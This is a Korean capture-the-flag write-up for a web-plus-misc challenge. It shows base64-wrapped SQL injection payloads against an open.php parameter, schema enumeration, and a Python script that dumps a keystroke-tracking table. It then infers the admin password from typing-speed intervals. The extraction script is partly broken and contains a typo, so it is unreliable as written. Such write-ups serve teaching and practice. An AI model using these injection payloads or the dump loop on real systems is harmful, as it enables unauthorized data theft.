우선 해당 문제는 WEB+MISC이다. stage. 1은 웹, stage. 2는 MISC로 풀이되기 때문이다. 기본적으로는 sql injection을 통해 정보를 획득하고, 이후 빈도수에 따라 admin password를 유추하는 문제이다.

[ Vulnerability ]


문제페이지를 보면 유튜브 영상들이 있고 해당 영상 미리보기 이미지를 클릭할 시 /open.php?title={Base64 encoded movie name}를 통해 유튜브로 이동하게 된다. 넘기는 title 파라미터를 base64 decode 해볼 시 link 주소가 아니기 때문에 내부 데이터베이스에 정보가 매핑되어 있고, 해당 파라미터의 정보가 디비로 들어갈 것을 유추해 볼 수 있따.

따라서 해당 파라미터에 sql injection을 시도하면 아래와 같이 시도할 수 있따. (thx to 03sunf@defenit and JeonYoungSin@defenit)

/open.php?title=${base64.encode('") union select 1,2,(select database()),4 -- ')}

sql injection vuln!

또한 메인페이지에 접속시 tracc.php를 통해 키로거가 동작한다(?)

키로거가 박혀있다?

메인페이지에 진입 후 다른 페이지로 이동시 /tracc.php를 통해 키로거마냥 내가 입력한 키들이 서버로 전송된다.

그럼 이제 발견된 sqli vuln으로 union select 1,2,group_concat(schema_name),4 from information_schema.schemata 이렇게 db를 쫙 긁어보자


# extracted value

#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, key, path, timestamp, user

해당 컬럼들을 쫙 뽑아보면 tracking column에 key column이 안뽑힌다.

union select 1,2,group_concat(x.key),4 from tracking as x (thx to JeonYoungSin@defenit)

쫙 뽑으면 다음과 같은 데이터를 얻을 수 있다.

import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib import quote

u = '{}'

#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user

s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0

while 1:
    query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
    r = s.get(u.format(query), verify=False)
    #print dir(r)
    if r.status_code==200:
        print r.content
    elif r.status_code==404:
        t = r.url.split('')[1]
        t2 = int(t.split(':')[1])
        with open('result.txt','a+') as f:
        t1 = t2
        result += t
        print '[{}] {}'.format(num,t)

        print r.content
    num += 1

print result

추출 결과

이제 여기까지가 Web hacking의 영역이고 이후부턴 misc 영역이다.

중간에 문제풀다 막혀있을 때 힌트가 나왔는데 그 힌트가 상당히 결정적이었다.


HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.

한마디로 사람이 익숙한 단어를 칠땐 타이핑하는 단어 사이의 간격이 짧다는 것이다. 우리가 키로거(?)를 통해 추출한 시간값들을 t2-t1 형식으로 뽑아보면 200ms 이하로 치는 단어들이 있다.

예를들어, "arang" 이라는 단어를 친다고 가정했을 때, 내가 평소 많이 치는 단어조합이 "arang"이므로 만약 내가 "language"라는 단어를 친다면 arang의 ang가 익숙하므로 다른 영문자를 타이핑할때보다 ang를 더 빠르게 친다는 것이다.

그럼 위에 추출결과처럼 표현해보면


l : 420
a : 414
n : 153
g : 148
u : 432
a : 514
g : 394
e : 412

이런식으로 된다.

따라서 이런식으로 쭉 타이핑 습관을 tracking해보면,


gra ple equ wo le ing om ap ms ci suc grap

이런 조합이 나온다.

이걸 끝말잇기 하듯이 쫙 연결해보면 womsucingraplequ가 나온다.

이게 password일 것으로 예측하고 로그인하면 flag 획득.


+ Recent posts